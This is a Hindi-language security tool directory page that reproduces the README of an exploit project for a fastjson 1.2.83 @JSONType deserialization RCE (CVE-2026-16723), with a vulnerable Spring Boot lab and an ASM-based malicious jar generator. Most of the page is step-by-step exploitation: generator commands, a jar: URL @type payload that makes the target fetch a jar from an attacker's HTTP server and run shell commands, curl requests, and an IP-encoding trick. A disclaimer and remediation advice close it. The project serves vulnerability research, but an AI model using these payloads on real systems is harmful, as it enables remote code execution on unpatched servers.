Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-16723 — fastjson 1.2.83 @JSONType RCE को एक कमजोर Spring Boot टारगेट और HTTP या फ़ाइल प्रोटोकॉल jar chains का उपयोग करने वाले ASM-आधारित पेलोड जनरेटर के साथ पुन: प्रस्तुत करता है। | Kitploit
उपकरण/GitHubGitHub/superman-l/cve-2026-16723
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubsuperman-l/cve-2026-16723

CVE-2026-16723

fastjson 1.2.83 @JSONType RCE को एक कमजोर Spring Boot टारगेट और HTTP या फ़ाइल प्रोटोकॉल jar chains का उपयोग करने वाले ASM-आधारित पेलोड जनरेटर के साथ पुन: प्रस्तुत करता है।

रिपॉजिटरी देखें
11 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

🚨 CVE-2026-16723 — fastjson 1.2.83 @JSONType संसाधन जांच श्रृंखला RCE

Java fastjson Type Environment Status

fastjson 1.2.66 ~ 1.2.83 में @JSONType एनोटेशन + अवैध क्लास नाम + jar: प्रोटोकॉल के तहत रिमोट क्लास लोडिंग / कमांड निष्पादन का पुनरुत्पादन प्रोजेक्ट।

⚠️ अस्वीकरण

यह प्रोजेक्ट केवल सुरक्षा अनुसंधान, भेद्यता पुनरुत्पादन और अधिकृत परीक्षण के लिए है। किसी भी अनधिकृत सिस्टम, अवैध हमले या दुर्भावनापूर्ण उपयोग के लिए सख्त वर्जित है। उपयोगकर्ता अपने कार्यों की पूरी जिम्मेदारी वहन करेगा, लेखक किसी भी दुरुपयोग के लिए कानूनी जिम्मेदारी नहीं लेता है।


भेद्यता विश्लेषण लेख संदर्भ: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w


📖 प्रोजेक्ट परिचय

यह प्रोजेक्ट CVE-2026-16723 के इर्द-गिर्द एक संपूर्ण fastjson 1.2.83 भेद्यता पुनरुत्पादन वातावरण तैयार करता है:

  • demo/ —— भेद्यता युक्त Spring Boot 2.7.18 वेब एप्लिकेशन (fastjson 1.2.83 पर निर्भर), जो POST /parse इंटरफ़ेस को बाहरी रूप से उजागर करता है और सीधे JSON.parse(json) कॉल करता है;
  • exp/ —— ASM-आधारित दुर्भावनापूर्ण प्रोब jar जनरेटर (HTTP प्रोटोकॉल / FILE प्रोटोकॉल दो रूप);
  • 环境/ —— पहले से संकलित तीन मिडलवेयर FatJar (Tomcat / Jetty / Undertow), तुरंत उपयोग के लिए तैयार।

उपयोग की मुख्य अवधारणा: @type को jar URL बनाकर विशेष JSON का निर्माण करना, जिससे fastjson @JSONType एनोटेशन ट्रस्ट शाखा → getResourceAsStream से रिमोट/लोकल jar डाउनलोड → defineClass से दुर्भावनापूर्ण क्लास लोड → क्लास इनिशियलाइज़ेशन पर <clinit> ट्रिगर → किसी भी कमांड का निष्पादन (RCE)।


🎯 भेद्यता सारांश

उपयोग की शर्तें

  1. लक्ष्य कोड: JSON.parse(json) या JSON.parseObject(json) का उपयोग करके अविश्वसनीय इनपुट को सीधे पार्स करता है, और fastjson संस्करण 1.2.66 ~ 1.2.83 में है, safeMode सक्षम नहीं है;
  2. लक्ष्य रनटाइम रूप: Spring Boot FatJar (java -jar से शुरू, LaunchedURLClassLoader, केवल Spring Boot ≤ 2.7 में jar: प्रोटोकॉल Handler फ़ॉलबैक क्षमता बनी रहती है);
  3. लक्ष्य JVM: JDK 8 (JDK 9+ में defineClass ClassFormatError फेंक देगा, अधिक से अधिक केवल SSRF संभव);
  4. नेटवर्क पहुंच: लक्ष्य अटैकर मशीन के HTTP पोर्ट तक पहुंच सकता है (HTTP प्रोटोकॉल श्रृंखला) या स्थानीय jar फ़ाइल पढ़ सकता है (FILE प्रोटोकॉल श्रृंखला)।

🧩 भेद्यता सिद्धांत

fastjson का checkAutoType जब @JSONType एनोटेशन वाली क्लास का सामना करता है तो ट्रस्ट शाखा में प्रवेश करता है, अधिकांश ब्लैकलिस्ट जाँचों को छोड़ देता है और लोडिंग की अनुमति देता है। यह प्रोजेक्ट इसका उपयोग करता है, ASM से सीधे बाइटकोड लिखकर, एक [अवैध आंतरिक क्लास नाम] को क्लास कॉन्स्टेंट पूल के this_class में लिखता है, ताकि तीनों नाम पूरी तरह से संरेखित हों:

root@kitploit:~
@type        jar:http:..2130706433:19090.x!.y        (点形态,无斜杠)
resource     jar:http://2130706433:19090/x!/y.class   (点 -> 斜杠)
this_class   jar:http://2130706433:19090/x!/y         (字节码内部类名)

दुर्भावनापूर्ण क्लास संरचना:

  1. @JSONType एनोटेशन —— fastjson checkAutoType ट्रस्ट शाखा खोलने की कुंजी;
  2. डिफ़ॉल्ट कंस्ट्रक्टर <init>()V —— सुनिश्चित करता है कि fastjson सामान्य रूप से इंस्टेंटिएट कर सके;
  3. <clinit> स्टैटिक इनिशियलाइज़ेशन ब्लॉक —— क्लास लोड इनिशियलाइज़ेशन पर ही Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}) निष्पादित करता है, जिससे कमांड निष्पादन होता है।

अवैध क्लास नाम javac से नहीं लिखा जा सकता, केवल ASM ही URL को सीधे कॉन्स्टेंट पूल में लिख सकता है —— यही कारण है कि इस प्रोजेक्ट का जनरेटर asm-9.6.jar पर निर्भर है।


📁 प्रोजेक्ट संरचना

root@kitploit:~
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt                     # 快速利用速查(http / file 协议两条命令)
├── demo/                        # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│   └── src/main/java/com/example/demo/
│       ├── DemoApplication.java
│       └── controller/VulController.java     # POST /parse -> JSON.parse(json)
├── exp/                         # 恶意探针 jar 生成器
│   ├── GenProbeHttp.java        # HTTP 协议链(jar:http)
│   ├── GenProbefile.java        # FILE 协议链(jar:file)
│   └── asm-9.6.jar              # ASM 字节码操作库
└── 环境/                        # 预编译靶场 FatJar(开箱即用)
    ├── demo-0.0.1-SNAPSHOT.jar            # Tomcat 中间件
    ├── demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty 中间件
    ├── demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow 中间件
    └── asm-9.6.jar

लैब इंटरफ़ेस

demo/src/main/java/com/example/demo/controller/VulController.java:

root@kitploit:~
@PostMapping("/parse")
public String parse(@RequestBody String json) {
    ParserConfig.getGlobalInstance().setAsmEnable(false);
    ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
    JSON.parse(json);   // 未指定类型,直接解析不可信输入
    return "Parsed!";
}

🚀 त्वरित प्रारंभ

1. भेद्यता लैब प्रारंभ करें

लैब को JDK 8 वातावरण में चलना चाहिए (उपयोग की शर्तों के अनुरूप)।

root@kitploit:~
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar            # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow

# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run

प्रारंभ के बाद इंटरफ़ेस पता: http://127.0.0.1:8080/parse


💥 भेद्यता का उपयोग

विधि 1: HTTP प्रोटोकॉल श्रृंखला (jar:http, अनुशंसित)

① जनरेटर संकलित करें

root@kitploit:~
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java

② दुर्भावनापूर्ण प्रोब jar उत्पन्न करें

root@kitploit:~
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
  • 19090 —— दुर्भावनापूर्ण jar का HTTP होस्टिंग पोर्ट
  • open -a Calculator —— लक्ष्य मशीन पर निष्पादित होने वाला कमांड (macOS कैलकुलेटर खोलता है; Linux पर id > /tmp/pwned 2>&1 उपयोग करें, फ़ाइल के अस्तित्व की जाँच करें)

डिफ़ॉल्ट रूप से फ़ाइल x (बिना एक्सटेंशन) उत्पन्न होती है, जिसमें y.class होता है, payload है:

root@kitploit:~
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}

③ दुर्भावनापूर्ण jar होस्ट करें (HTTP सेवा)

root@kitploit:~
python3 -m http.server 19090

सुनिश्चित करें कि python3 -m http.server उसी निर्देशिका में शुरू हो जहाँ x फ़ाइल उत्पन्न हुई है।

④ लक्ष्य पर payload भेजें

root@kitploit:~
curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'

⑤ सत्यापन

कमांड निष्पादन का परिणाम HTTP प्रतिक्रिया में नहीं दिखेगा, लक्ष्य मशीन पर पुष्टि करनी होगी:

root@kitploit:~
# Linux 目标
cat /tmp/pwned            # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)

विधि 2: FILE प्रोटोकॉल श्रृंखला (jar:file)

उपयोग परिदृश्य: लक्ष्य अटैकर मशीन के HTTP पोर्ट तक नहीं पहुंच सकता (इंट्रानेट अलगाव / बाहरी नेटवर्क प्रतिबंधित), लेकिन jar फ़ाइल को लक्ष्य मशीन के फ़ाइल सिस्टम पर रखा जा सकता है।

① जनरेटर संकलित करें

root@kitploit:~
cd exp
javac -cp asm-9.6.jar GenProbefile.java

② लक्ष्य के संबंधित निर्देशिका में प्रोब jar उत्पन्न करें

root@kitploit:~
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'

जनरेटर वर्तमान निर्देशिका के आधार पर jar:file: URL की गणना करेगा (निर्देशिका विभाजक / को . से बदल दिया जाएगा), उदाहरण के लिए /tmp/project/exp में उत्पन्न करने पर payload होगा:

root@kitploit:~
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}

③ उत्पन्न jar को लक्ष्य मशीन की संबंधित निर्देशिका में रखें

उत्पन्न फ़ाइल y को लक्ष्य मशीन पर @type से मेल खाते पूर्ण पथ पर अपलोड/कॉपी करें (जैसे /tmp/project/exp/y), निर्देशिका संरचना समान रखें।

④ लक्ष्य पर payload भेजें

root@kitploit:~
curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'

ध्यान दें: FILE प्रोटोकॉल श्रृंखला का पथ लक्ष्य मशीन पर वास्तविक फ़ाइल पथ के बिल्कुल समान होना चाहिए, अन्यथा संसाधन जाँच विफल हो जाएगी और लोडिंग ट्रिगर नहीं होगी।


⚙️ जनरेटर पैरामीटर विवरण

GenProbeHttp (HTTP प्रोटोकॉल श्रृंखला)

GenProbefile (FILE प्रोटोकॉल श्रृंखला)

IP पूर्णांक रूप रूपांतरण

2130706433 127.0.0.1 का अहस्ताक्षरित 32-बिट पूर्णांक है, पूर्णांक के रूप में लिखने से IP में मौजूद . fastjson की . → / प्रतिस्थापन तर्क से नष्ट नहीं होता। जब अटैकर मशीन स्थानीय नहीं है:

root@kitploit:~
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"

🔍 सामान्य प्रश्न

त्रुटि autoType is not support. jar:http:...

इसका मतलब है jar डाउनलोड हो सकता है (SSRF स्थापित है), लेकिन TypeUtils.loadClass ने null लौटाया। लगभग केवल दो कारण हैं:

  1. दुर्भावनापूर्ण क्लास में @JSONType एनोटेशन नहीं है —— जाँच ट्रस्ट शाखा से नहीं गुजरती, loadClass में प्रवेश ही नहीं होता;
  2. दुर्भावनापूर्ण क्लास का आंतरिक क्लास नाम @type से संरेखित नहीं है —— defineClass में वास्तविक क्लास नाम मेल नहीं खाता, लोडिंग विफल हो जाती है।

इस प्रोजेक्ट का जनरेटर दोनों बिंदुओं को एक साथ हल करता है: @JSONType एनोटेशन + तीनों नामों का संरेखण।

एकल jar:http से अभी भी RCE नहीं हो रहा?

यदि लक्ष्य ClassLoader LaunchedURLClassLoader नहीं है (जैसे IDE से सीधे Run, सामान्य war पैकेज, Spring Boot 3.x), तो एकल jar:http श्रृंखला से RCE संभव नहीं है, अधिक से अधिक केवल SSRF की पुष्टि की जा सकती है।

JDK 8 की आवश्यकता क्यों?

JDK 9+ का defineClass अवैध क्लास नामों की जाँच अधिक सख्ती से करता है, ClassFormatError फेंकेगा, श्रृंखला लोडिंग चरण में टूट जाती है।


🛡 सुधार सुझाव

  1. घटक अपग्रेड करें: fastjson 1.x का रखरखाव बंद हो चुका है, fastjson2 पर माइग्रेट करने की सलाह दी जाती है (या सुधारित संस्करण में अपग्रेड करें), और आधिकारिक सुरक्षा बुलेटिन का अनुसरण करें;
  2. safeMode सक्षम करें: ParserConfig.getGlobalInstance().setSafeMode(true); autoType को पूरी तरह से अक्षम कर सकता है;
  3. अविश्वसनीय इनपुट पार्स करने से बचें: उपयोगकर्ता इनपुट पर सीधे JSON.parse(json) / JSON.parseObject(json) न कॉल करें, जितना संभव हो JSON.parseObject(json, Xxx.class) का उपयोग करके लक्ष्य प्रकार स्पष्ट रूप से निर्दिष्ट करें;
  4. ब्लैक/व्हाइटलिस्ट उपयोग करें: ParserConfig.addAccept(...) के माध्यम से केवल विश्वसनीय क्लासों को अनुमति दें;
  5. Spring Boot / JDK अपग्रेड करें: उच्च संस्करण वाले JDK और Spring Boot का उपयोग करने से शोषण की सतह कम हो सकती है;
  6. एक्सपोज़र न्यूनतम करें: इंटरनेट पर उजागर इंटरफेस के लिए प्रमाणीकरण करें, WAF से संदिग्ध @type payload को ब्लॉक करें।

📚 संदर्भ

  • fastjson आधिकारिक GitHub: https://github.com/alibaba/fastjson
  • fastjson सुरक्षा बुलेटिन / भेद्यता खुफिया: https://github.com/alibaba/fastjson/wiki/security_update_guidance

यदि यह प्रोजेक्ट आपके लिए उपयोगी है, तो सुरक्षा अनुसंधान और भेद्यता दस्तावेज़ीकरण निर्माण के समर्थन में ⭐ Star करने के लिए स्वागत है।

⚠️ कृपया केवल अधिकृत परीक्षण के लिए उपयोग करें, अवैध उद्देश्यों के लिए कभी नहीं!

टूल डाउनलोड करें
प्रोजेक्टविवरण
CVECVE-2026-16723
घटकAlibaba fastjson
प्रभावित संस्करण1.2.66 ~ 1.2.83 (1.x का अंतिम संस्करण भी प्रभावित)
भेद्यता प्रकारडिसीरियलाइज़ेशन रिमोट कोड निष्पादन (RCE)
ट्रिगर प्रवेशJSON.parse(json) / JSON.parseObject(json) (विशिष्ट प्रकार निर्दिष्ट किए बिना)
पूर्व शर्तलक्ष्य Spring Boot FatJar, JDK 8, safeMode बंद है
पैरामीटरडिफ़ॉल्ट मानविवरण
port19090दुर्भावनापूर्ण jar होस्टिंग पोर्ट
cmdid > /tmp/pwned 2>&1लक्ष्य मशीन पर निष्पादित कमांड
hostToken2130706433लक्ष्य द्वारा एक्सेस किया गया IP पूर्णांक रूप (127.0.0.1)
entryyjar में क्लास एंट्री नाम
outFilexउत्पन्न jar फ़ाइल नाम (बिना एक्सटेंशन)
पैरामीटरडिफ़ॉल्ट मानविवरण
port19090आरक्षित पैरामीटर (FILE श्रृंखला पोर्ट का उपयोग नहीं करती)
cmdid > /tmp/pwned 2>&1लक्ष्य मशीन पर निष्पादित कमांड
dirवर्तमान निर्देशिकालक्ष्य मशीन पर jar की निर्देशिका (jar:file: URL उत्पन्न करने के लिए)
entryxjar में क्लास एंट्री नाम
outFileyउत्पन्न jar फ़ाइल नाम (बिना एक्सटेंशन)